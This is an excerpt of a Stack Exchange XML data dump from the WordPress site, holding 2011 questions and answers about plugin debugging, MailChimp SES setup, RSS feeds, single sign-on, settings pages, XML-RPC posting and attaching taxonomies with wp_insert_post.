  <row Id="18222" PostTypeId="1" CreationDate="2011-05-25T11:25:34.320" Score="2" ViewCount="94" Body="&lt;p&gt;Here's another conundrum that I'm toying with.  There's a routine within the &lt;strong&gt;sitewide tags pages plugin&lt;/strong&gt; which takes a list of custom fields (entered in the admin settings) and then uses these as keys to read a post and output the keys and values in an array.  I have not been able to see it working and therefore I am trying to determine why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the routine within &lt;code&gt;sitewide-tags.php&lt;/code&gt;: &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*** line 369 in Version: 0.4.1.1 of sitewide-tags.php ***&#xA;&#xA;$meta_keys = apply_filters( 'sitewide_tags_meta_keys', get_sitewide_tags_option( 'tags_blog_postmeta', array() ) );&#xA;    $global_meta['DEBUG TEST1'] = $meta_keys;&#xA;    $global_meta['DEBUG TEST2'] = $post_id;&#xA;if( is_array( $meta_keys ) &amp;amp;&amp;amp; !empty( $meta_keys ) ) {&#xA;    foreach( $meta_keys as $key )&#xA;            $global_meta['DEBUG TEST3'] = 'custom loop';&#xA;&#xA;        $global_meta[$key] = get_post_meta( $post-&amp;gt;ID, $key, true );&#xA;}&#xA;unset( $meta_keys );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added a small amount of markup to reveal what is happening at each step.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my test case, post_id #1121, there is one custom field which sits in the &lt;code&gt;wp_9_postmeta&lt;/code&gt; table has one meta_key &lt;code&gt;image&lt;/code&gt; with a corresponding meta_value &lt;code&gt;http://newsite.com/files/2011/05/alfaP.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the routine returns no value within the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what each of the debug tests shows;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DEBUG TEST1:&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;a:7:{i:0;s:11:&quot;video-embed&quot;;i:1;s:9:&quot;image-url&quot;;i:2;s:8:&quot;link-url&quot;;i:3;s:10:&quot;quote-copy&quot;;i:4;s:12:&quot;quote-author&quot;;i:5;s:9:&quot;quote-url&quot;;i:6;s:9:&quot;audio-url&quot;;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DEBUG TEST2: 1121&lt;/code&gt;&#xA;&lt;code&gt;DEBUG TEST3: Custom Loop&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first test (#1) shows that all the custom fields are being returned from the 'get_sitewide_tags_option' on line 1.  The second test (#2) confirms it's looking at the correct post_id and the third test (#3) that it reaches the foreach loop and therefore passes the conditional clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: One further test is to check within the foreach loop and see what value is contained in $key - what I found is that $key contains the meta_key names (image, video-embed...) that should (in theory) be successful when used to retrieve the associated value using 'get_post_meta'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to know why it doesn't - any ideas or suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5529" LastEditorUserId="5529" LastEditorDisplayName="" LastEditDate="2011-05-25T15:04:35.847" LastActivityDate="2011-05-25T15:04:35.847" Title="get_post_meta in sitewide tags plugin fails to return value for custom fields" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;add-filter&gt;" CommentCount="2" />
  <row Id="18223" PostTypeId="1" CreationDate="2011-05-25T11:49:52.437" Score="0" ViewCount="92" Body="&lt;p&gt;I'm trying to set up the plugin MailChimp. I have uploaded the plugin and installed it. (https://wordpress.org/extend/plugins/mailchimp-sts/) The directions tell me I will need&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;MailChimp account and API key (done)&lt;/li&gt;&#xA;&lt;li&gt;Amazon SES account with production access (I have signed up&#xA;with Amazon)&lt;/li&gt;&#xA;&lt;li&gt;Verified email address to sue as sender (got it)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only place on the form to do anything is the blank next to &quot;API key&quot;. I've cut and pasted in the key number given me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all I get is &quot;API error. Please setup the integration first&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about setting up the integration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can help. &#xA;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="5678" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-25T12:20:19.740" LastActivityDate="2011-08-23T16:33:49.053" Title="How to integrate Amazon SES Account with MailChimp STS plugin?" Tags="&lt;plugin-mailchimp-sts&gt;" AnswerCount="1" />
  <row Id="18225" PostTypeId="2" ParentId="18223" CreationDate="2011-05-25T12:12:57.403" Score="0" ViewCount="" Body="&lt;p&gt;This part can't be done in plugin, it should be done in your MailChimp account. Please see &lt;code&gt;readme.html&lt;/code&gt; file supplied with plugin, section &lt;code&gt;4. Integrate Amazon SES with MailChimp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PMFkn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; As per &lt;a href=&quot;http://wordpress.org/support/topic/plugin-mailchimp-sts-integrate-amazon-ses-account-with-mailchimp&quot; rel=&quot;nofollow&quot;&gt;our discussion elsewhere&lt;/a&gt; you need paid MailChimp account for SES integration option to be active.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-25T13:21:16.580" LastActivityDate="2011-05-25T13:21:16.580" CommentCount="1" />
  <row Id="18226" PostTypeId="1" AcceptedAnswerId="20076" CreationDate="2011-05-25T12:31:41.197" Score="0" ViewCount="55" Body="&lt;p&gt;I'm trying to pull rss from sites similar to this: &lt;a href=&quot;http://andreabadendyck.blogg.no/&quot; rel=&quot;nofollow&quot;&gt;http://andreabadendyck.blogg.no/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several posts with the URL in the title, so I can pull the URLS from here and hardcode the rss reader in the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the recent posts like this (under &quot;Siste innlegg&quot;): &lt;a href=&quot;http://blogglisten.no/blogg/andreabadendyck.blogg.no&quot; rel=&quot;nofollow&quot;&gt;http://blogglisten.no/blogg/andreabadendyck.blogg.no&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it any available plugins for this? I have tried RSS Feed Reader for WordPress with no luck.&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="2188" LastEditorDisplayName="" LastEditDate="2011-05-25T13:17:07.573" LastActivityDate="2011-06-15T13:59:55.177" Title="Pulling RSS from site and display it in posts" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;shortcode&gt;&lt;rss&gt;" AnswerCount="2" />
  <row Id="18227" PostTypeId="2" ParentId="18226" CreationDate="2011-05-25T12:48:59.577" Score="0" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;FeedWordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-25T12:48:59.577" CommentCount="5" />
  <row Id="18228" PostTypeId="2" ParentId="18214" CreationDate="2011-05-25T12:54:44.853" Score="1" ViewCount="" Body="&lt;p&gt;Best plugin I've found is &lt;a href=&quot;http://wordpress.org/extend/plugins/editable-comments/&quot; rel=&quot;nofollow&quot;&gt;Editable Comments&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/editable-comments/screenshot-1.png?r=389765&quot; alt=&quot;Editable Comments backend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/editable-comments/screenshot-2.png?r=389765&quot; alt=&quot;Editable Comments in action&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T15:12:07.270" LastActivityDate="2011-05-27T15:12:07.270" CommentCount="2" />
  <row Id="18229" PostTypeId="2" ParentId="18180" CreationDate="2011-05-25T12:58:01.383" Score="1" ViewCount="" Body="&lt;p&gt;Let's say you can get the site on the same domain or work out a way to hand off some kind of authentication token. You don't necessarily need a ghost WordPress installation on the second site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a WordPress site now that complements an existing, non-WordPress site. One of the requirements of the project was that authentication be handled through the non-WordPress site. I created a plugin that bypasses typical WordPress authentication for the WP side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin has a function attached to the WP init action that when the visitor is not logged in to the WP site and the external auth cookie is present, grab the token and call a service on my non-WP site to validate the token. If the token validates, I force a login for the username the validating service returns to me. From that point on the user is logged in to the WordPress site and no further validation is performed against the external site. If the user does not yet exist for the given username in WP the plugin creates it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some other code in there to redirect to the external site login page instead of the standard WP login.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-25T12:58:01.383" />
  <row Id="18230" PostTypeId="1" AcceptedAnswerId="19391" CreationDate="2011-05-25T13:07:50.843" Score="2" ViewCount="50" Body="&lt;p&gt;I've developed a few plugin for Wordpress. Currently I've not been able to replicate the way wp save settings. I've a setting page which I learned from a tutorial. It POST to &lt;code&gt;option.php&lt;/code&gt;, and wp take care of saving the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have some custom option page which require more complex handling. Basically I wanted to POST some data to my own php, then redirect back to the original page/url after handling. I can't find a &quot;proper&quot; way to redirect correctly, i.e. without load the whole page then redirect using javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I use GET with &lt;code&gt;add_query_arg()&lt;/code&gt;, the url will display the data that I passed. Using POST will trigger a redirect prompt when refreshed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a built in wp function that does it automatically? OR If I were to POST to &lt;code&gt;option.php&lt;/code&gt;, how should I access the data without it handling automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Example of one of the complex page would be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assign a usermeta to some users which we would call SU (SpecialUser). To ease the job of admin, I have a page to display the list of users with a column showing whether they are SU. The text in that column of each row is a link which if clicked, will toggle the state of SU for that user. Currently I use GET, to pass the id of the user and also action to be carried out. Then page itself will detect, if both action and id is valid, the state of the user is toggled. At the same time, the updated result is displayed. The GET query remain at the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would really like to do is to use POST, pass the id and action to the same page, then toggle the state but not displaying anything, then &quot;redirect&quot; back to the page displaying the updated user list. What I've tried earlier while implementing this is to use javascript to redirect the page, but this means it will have to load the whole page before the javascript can be executed. It's not resource friendly. I would like it to work much like how the Settings API would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long explaination. I'm sure there's a term to what I wanted to do, but I'm not sure what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It's more or less like the Plugin page, when you activate/deactivate the plugin. The plugin page is using GET. The problem I have is actually redirecting, so GET or POST shouldn't matter.&lt;/p&gt;&#xA;" OwnerUserId="5681" LastEditorUserId="5681" LastEditorDisplayName="" LastEditDate="2011-05-26T12:13:27.007" LastActivityDate="2011-06-07T07:22:30.090" Title="Wordpress Plugin Setting's POST" Tags="&lt;plugin-development&gt;&lt;query-posts&gt;&lt;options&gt;&lt;settings&gt;" AnswerCount="2" />
  <row Id="18231" PostTypeId="2" ParentId="17560" CreationDate="2011-05-25T13:10:31.407" Score="0" ViewCount="" Body="&lt;p&gt;I managed to figure it out myself reading around, solved it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div id=&quot;grid&quot;&amp;gt;&#xA;&amp;lt;?php $args = array(&#xA;    'depth'        =&amp;gt; 0,&#xA;    'child_of'     =&amp;gt; 411 );&#xA;$pages = get_pages(array('child_of'));&#xA;$grid_title = $post-&amp;gt;post_title;&#xA;&#xA;foreach($pages as $post)&#xA;{&#xA;setup_postdata($post);&#xA;$fields = get_fields();?&amp;gt;&#xA;&#xA;&amp;lt;?php if($fields-&amp;gt;company_name != &quot;&quot;) : ?&amp;gt;&#xA;&amp;lt;!-- Any new tags will need to be added below --&amp;gt;&#xA;&amp;lt;?php if((in_array(&quot;Branding&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Branding&quot;) || (in_array(&quot;Creative&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Creative&quot;) || (in_array(&quot;Development&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Development&quot;) || (in_array(&quot;Exhibition&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Exhibition&quot;) || (in_array(&quot;Packaging&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Packaging&quot;) || (in_array(&quot;Print&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Print&quot;) || (in_array(&quot;SEO&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;SEO&quot;) || (in_array(&quot;Usability&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Usability&quot;) || (in_array(&quot;Web&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Web&quot;) || (in_array(&quot;Campaign&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Campaign&quot;) || (in_array(&quot;Copywriting&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Copywriting&quot;) || (in_array(&quot;Feasibility&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Feasibility&quot;) || (in_array(&quot;Research&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Research&quot;) || (in_array(&quot;Social Media&quot;, get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Social Media&quot;)){&#xA;     echo &quot;&#xA;        &amp;lt;div class=\&quot;grid-box\&quot; onclick=\&quot;location.href='&quot; . get_page_link($post-&amp;gt;ID) .&quot;';\&quot; style=\&quot;cursor: pointer;\&quot;&amp;gt;&#xA;        &amp;lt;div class=\&quot;phase-1\&quot;&amp;gt;&#xA;           &amp;lt;img class=\&quot;grid-image\&quot; src=\&quot;&quot; . $fields-&amp;gt;thumb_image . &quot;\&quot; alt=\&quot;&quot; . $fields-&amp;gt;company_name .&quot;\&quot; height=\&quot;152\&quot; width=\&quot;210\&quot; /&amp;gt;&#xA;           &amp;lt;div class=\&quot;grid-heading\&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&quot;. $fields-&amp;gt;company_name .&quot;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&quot; . implode(', ',get_field('categories')) .&quot;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=\&quot;phase-2\&quot;&amp;gt;&#xA;            &amp;lt;div class=\&quot;grid-info\&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&quot;. $fields-&amp;gt;project_name .&quot;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;&quot;. $fields-&amp;gt;description .&quot;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=\&quot;grid-heading-hover\&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&quot;. $fields-&amp;gt;company_name .&quot;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&quot;. implode(', ',get_field('categories')) .&quot;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;     &quot;;&#xA;}&#xA;else {&#xA;    echo &quot;  &amp;lt;div class=\&quot;grid-box\&quot; onclick=\&quot;location.href='&quot; . get_page_link($post-&amp;gt;ID) .&quot;';\&quot; style=\&quot;cursor: pointer;\&quot;&amp;gt;&#xA;        &amp;lt;div class=\&quot;phase-1\&quot;&amp;gt;&#xA;           &amp;lt;img class=\&quot;grid-image\&quot; src=\&quot;&quot; . $fields-&amp;gt;thumb_image . &quot;\&quot; alt=\&quot;&quot; . $fields-&amp;gt;company_name .&quot;\&quot; height=\&quot;152\&quot; width=\&quot;210\&quot; /&amp;gt;&#xA;           &amp;lt;div class=\&quot;grid-heading\&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&quot;. $fields-&amp;gt;company_name .&quot;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&quot; . implode(', ',get_field('categories')) .&quot;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=\&quot;phase-2\&quot;&amp;gt;&#xA;            &amp;lt;div class=\&quot;grid-info\&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&quot;. $fields-&amp;gt;project_name .&quot;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;&quot;. $fields-&amp;gt;description .&quot;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=\&quot;grid-heading-hover\&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&quot;. $fields-&amp;gt;company_name .&quot;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&quot;. implode(', ',get_field('categories')) .&quot;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&#xA;else : ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;    &#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;wp_reset_query();&#xA;?&amp;gt;        &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-05-25T13:10:31.407" />
  <row Id="18233" PostTypeId="1" CreationDate="2011-05-24T22:45:54.610" Score="0" ViewCount="23" Body="&lt;p&gt;Is there any way to do auto blogging on WordPress? What I want to do is to submit a new blogging entry through a HTTP request rather than through the WordPress UI. I know that I can do it using email, but I don't want to go through any mail server.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T20:06:42.330" LastActivityDate="2011-05-27T20:06:42.330" Title="Posting via HTTP requests?" Tags="&lt;blogging&gt;&lt;remote&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="18234" PostTypeId="2" ParentId="18233" CreationDate="2011-05-25T00:09:48.810" Score="3" ViewCount="" Body="&lt;p&gt;the XML-RPC protocol can do that for you, look up how to use it with curl: &lt;a href=&quot;http://shoaibmir.wordpress.com/2009/03/10/using-curl-for-xmlrpc-calls/&quot; rel=&quot;nofollow&quot;&gt;http://shoaibmir.wordpress.com/2009/03/10/using-curl-for-xmlrpc-calls/&lt;/a&gt; and what the actual tags are: &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/XML-RPC_Support&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2011-05-25T00:09:48.810" />
  <row Id="18235" PostTypeId="1" AcceptedAnswerId="19014" CreationDate="2011-05-25T14:01:08.030" Score="2" ViewCount="123" Body="&lt;p&gt;I released the first version of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt; with &lt;a href=&quot;http://plugins.trac.wordpress.org/log/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;a commit on 2010-05-12&lt;/a&gt;. The WordPress.org plugin directory however &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;still displays 2010-11-27 as the &quot;Last Updated&quot; date&lt;/a&gt; - this is the date when the plugin directory was created in the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/faq/&quot; rel=&quot;nofollow&quot;&gt;The Developer FAQ&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Last updated time&lt;br&gt;&#xA;  Time of last check in to the appropriate directory (trunk/ or the stable tag directory) &lt;strong&gt;after a version number change&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most developers commit their first version right after their plugin directory gets created, so you won't notice the difference. But I have &lt;a href=&quot;http://wordpress.org/extend/plugins/file-commerce/&quot; rel=&quot;nofollow&quot;&gt;seen the same discrepancy&lt;/a&gt; in other plugins &lt;a href=&quot;http://plugins.trac.wordpress.org/log/file-commerce/&quot; rel=&quot;nofollow&quot;&gt;that were committed more than one day after the directory was created&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I committed both the &lt;code&gt;trunk/&lt;/code&gt; and &lt;code&gt;tags/1.0/&lt;/code&gt; directories in one go (with a local copy and then a commit), but the other plugin with this problem did it like most people do: a commit of &lt;code&gt;trunk/&lt;/code&gt; and then a remote copy to &lt;code&gt;tags/1.0/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-last-updated-time-not-getting-updated?replies=8&quot; rel=&quot;nofollow&quot;&gt;Otto recently said&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The only time the readme gets parsed and the entry gets rebuilt is when the version of the plugin changes. However, for people using tags, this generally happens after they make the new tag and update the Stable Tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The readme file got parsed, so I don't know what else I could have done to make it update correctly?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-25T03:11:52.633" Title="Plugin directory &quot;Last Updated&quot; not changed after initial commit?" Tags="&lt;plugin-development&gt;&lt;wordpress.org&gt;&lt;plugin-directory&gt;" AnswerCount="3" CommentCount="11" FavoriteCount="2" />
  <row Id="18236" PostTypeId="1" AcceptedAnswerId="18237" CreationDate="2011-05-25T14:25:48.907" Score="2" ViewCount="242" Body="&lt;p&gt;I am implementing (trying) a front end posting system which shows taxonomy data in several dropdown select fields, each of the dropdowns is named by using the &quot;name&quot; $arg in wp_dropdown_categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_dropdown_categories('taxonomy=location&amp;amp;hide_empty=0&amp;amp;orderby=name&amp;amp;order=asc&amp;amp;name=location') ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see taxonomy is &quot;location&quot; and select name is &quot;location&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then add the variables for each of the taxonomy select dropdowns like so along with post_title, post_content etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title      = trim($_POST['wpuf_post_title']);&#xA;$content    = trim($_POST['wpuf_post_content']);&#xA;$tags       = wpuf_clean_tags($_POST['wpuf_post_tags']);&#xA;$customcategory      = trim($_POST['customcategory']);&#xA;$cat        = trim($_POST['cat']);&#xA;$location        = trim($_POST['location']);&#xA;$sale_rental        = trim($_POST['sale_rental']);&#xA;$price        = trim($_POST['price']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally i add the extra info into an array ready to be sent by wp_insert_post, im quite stuck on whether i am doing the right thing by adding tax_input into the array like below as this is what i seem to be understanding from codex that i need to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'tax-input'    =&amp;gt; array( $location,&#xA; $sale_rental,&#xA; $price&#xA; ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that it all ends up looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_post = array(&#xA;            'post_title'    =&amp;gt; $title,&#xA;            'post_content'  =&amp;gt; $content,&#xA;            'post_status'   =&amp;gt; $post_status,&#xA;            'post_author'   =&amp;gt; $userdata-&amp;gt;ID,&#xA;            'post_category'    =&amp;gt;    array($_POST['cat']),&#xA;            'post_type' =&amp;gt; $customcategory,&#xA;            'tags_input'    =&amp;gt; $tags,&#xA;            'tax_input'    =&amp;gt; array( $location,&#xA;                                     $sale_rental,&#xA;                                     $price&#xA;            ),&#xA;    );&#xA;&#xA;$post_id = wp_insert_post($my_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however when i submitted the new post, all the standard post data (and also my custom post type) goes in ok, but the taxonomies do not, im obviously doing something wrong, but what?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-25T14:34:58.370" Title="Attaching taxonomy data to post with wp_insert_post" Tags="&lt;taxonomy&gt;&lt;post-meta&gt;&lt;wp-insert-post&gt;&lt;save&gt;" AnswerCount="1" />
  <row Id="18237" PostTypeId="2" ParentId="18236" CreationDate="2011-05-25T14:34:58.370" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;wp_set_object_terms&lt;/code&gt; after you have the post id for each taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$post_id = wp_insert_post($my_post);&#xA;wp_set_object_terms($post_id,$location,'location');&#xA;wp_set_object_terms($post_id,$sale_rental,'sale_rental');&#xA;wp_set_object_terms($post_id,$price,'price');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T14:34:58.370" CommentCount="2" />
  <row Id="18239" PostTypeId="2" ParentId="18220" CreationDate="2011-05-25T14:44:30.160" Score="3" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;wpmu_new_blog&lt;/code&gt; action hook which accepts 6 arguments:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$blog_id&lt;/li&gt;&#xA;&lt;li&gt;$user_id&lt;/li&gt;&#xA;&lt;li&gt;$domain&lt;/li&gt;&#xA;&lt;li&gt;$path&lt;/li&gt;&#xA;&lt;li&gt;$site_id&lt;/li&gt;&#xA;&lt;li&gt;$meta&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T14:44:30.160" />
  <row Id="18240" PostTypeId="2" ParentId="18230" CreationDate="2011-05-25T14:49:32.077" Score="3" ViewCount="" Body="&lt;p&gt;if you are using the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Settings API&lt;/strong&gt;&lt;/a&gt; then you can use your own php inside the $sanitize_callback of your &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;register_setting&lt;/strong&gt;&lt;/a&gt; and return the value you want to save after doing your &quot;more complex handling&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T14:49:32.077" CommentCount="8" />
  <row Id="18241" PostTypeId="1" CreationDate="2011-05-25T14:54:34.000" Score="0" ViewCount="44" Body="&lt;p&gt;In the WYSIWYG editor I am trying to use the keyboard shortcut for &quot;Insert/edit link&quot; which is &lt;code&gt;Alt+Shift+A&lt;/code&gt;. The shortcut works in that the Wordpress window for adding/editing a link pops up, but Chrome also pops up another dialog over it which &lt;strong&gt;also&lt;/strong&gt; ask for the link. I don't want this second dialog to pop up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Google Chrome 11 on Ubuntu 11.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered this problem? I don't get this dialog in Firefox, which makes me think it's a Chrome issue, and could be fixed by turning off the &lt;code&gt;Alt+Shift+A&lt;/code&gt; shortcut in Chrome. I just don't know how to do that.&lt;/p&gt;&#xA;" OwnerUserId="4857" LastActivityDate="2011-05-25T14:54:34.000" Title="Keyboard shortcut for &quot;Insert/edit link&quot; doesn't work correctly in Chrome" Tags="&lt;posts&gt;&lt;links&gt;&lt;visual-editor&gt;&lt;wysiwyg&gt;" CommentCount="1" />
